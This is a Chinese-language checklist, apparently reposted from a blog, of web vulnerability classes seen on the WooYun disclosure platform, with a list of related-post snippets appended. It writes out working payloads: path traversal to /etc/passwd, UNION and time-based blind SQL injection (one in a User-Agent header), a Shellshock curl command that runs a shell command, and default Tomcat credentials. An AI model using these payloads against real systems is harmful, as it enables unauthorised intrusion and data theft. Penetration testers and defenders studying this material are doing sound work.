那些年 WooYun 的漏洞

Type：

任意文件读取

../../../../../../../../../../etc/passwd%00

/etc/sysconfig/network

../../../foo/../../../../etc/passwd   //nodejs

SQL注入

and 1=2 union select 1,2,version(),3%23
blind sqli
error sqli
宽字节注入

框架注入（ThinkPHP）

GET POST 参数

伪静态  *

Referer

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5*0),0))OR'

弱口令

Username：中国姓名排行TOP500
Password：admin  admin123 qyer           //字典的重要性！！！

/manager/html  tomcat:tomcat

ftp 弱口令  phpmyadmin 弱口令

敏感信息泄露

.bak  /.svn/entries  wwwroot.tar.gz .swp  web.rar %domain%.zip  %dictionary%.rar

openssl

目录遍历

shodan

github 敏感信息

.NET 相关类 逆向解密 dll

api 接口泄露

社工库查询相关人员信息

未授权访问

RSYNC 匿名访问

JBoss：/jmx-console/  /admin-console/

命令执行

CMS（discuz、）命令执行

curl http://1XX.XX.XX.XX:8082/cgi-bin/test-cgi -A "() { foo;};echo;/bin/ps -ef" -k

http://test.xxx.com:8082/struts_spy/example/HelloWorld.action //struts2

任意文件上传
```
cer、
```

SSRF

url=           //ip服务

DNS Rebinding 绕过

设计缺陷

验证码可识别

水平越权，修改相关参数

任意用户邮箱地址查询：修改对应查询参数

任意密码重置：验证身份token简单可爆破

单点登陆绕过：其它参数替代绕过

转载于:https://www.cnblogs.com/skrr/p/10987425.html

那些年 WooYun 的漏洞相关推荐

爬虫python漏洞群_python爬虫之 wooyun公开漏洞
准备加上一些小功能. 重新写了一下代码,先保存在这里: import requests import re def first(): import sys reload(sys) sys.setdef ...
iku爱酷后台开放匿名代理服务 | WooYun-2011-02909 | WooYun.org
iku爱酷后台开放匿名代理服务 | WooYun-2011-02909 | WooYun.org iku爱酷后台开放匿名代理服务 | WooYun-2011-02909 | WooYun.org 漏洞 ...
代码审计-dubbo admin =2.6.1远程命令执行漏洞
前置输入材料安全目标和需求架构分析供应链安全源代码审查依赖结构矩阵(Dependency Structure Matrices,DSM) 数据流信任边界数据存贮威胁列表 otter ...
开发文档怎么编写_PoC 编写指南
什么是 PoC PoC(全称: Proof of Concept), 中文译作概念验证.在安全界,你可以理解成为漏洞验证程序.和一些应用程序相比,PoC 是一段不完整的程序,仅仅是为了证明提出者的观点 ...
CTF——web个人总结
CTF web个人总结仅供个人参考从0开始接触到了CTF,算是入门了,为了方便自己做题,现在记录一下web类型题目的解题思路. 目录 CTF web个人总结工具(含后渗透) 解题思路一.普通思 ...
中国互联网创业工具库startup tool【转】
在做17Startup.com的过程中,斯坦福商学院的教授.也是硅谷最为知名的"创业学大师"Steve Blank的博客给了我们很多的启发,尤其是他所做的"Startup ...
创业必读网站和工具集合
from:http://www.caoyuan.net.cn/post/2012-06-27/40028725336 一.第三方创业投资服务平台 1.科技及投资类媒体(原创类文章为主) 36氪,htt ...
程序员应该知道的网站
技术资讯知乎周刊:知乎工作人员和志愿者团队的合作制作完成. 码农周刊:一份专为程序员打造的IT技术周刊.我们会为你精选一周IT技术干货,每周一发送,完全免费. PyCoder's Weekly:提供 ...
如何入门web渗透？
咦~ 渗透的话,我是菜鸟,其实不止渗透,其余的我都是菜鸟首先你得会html+js吧,CSS这里我不说了,能懂自然是好的然后会js后,你就可以深入一下XSS了之后你一个黑客而且还是web端的黑客, ...

那些年 WooYun 的漏洞

Type：

那些年 WooYun 的漏洞相关推荐

最新文章

热门文章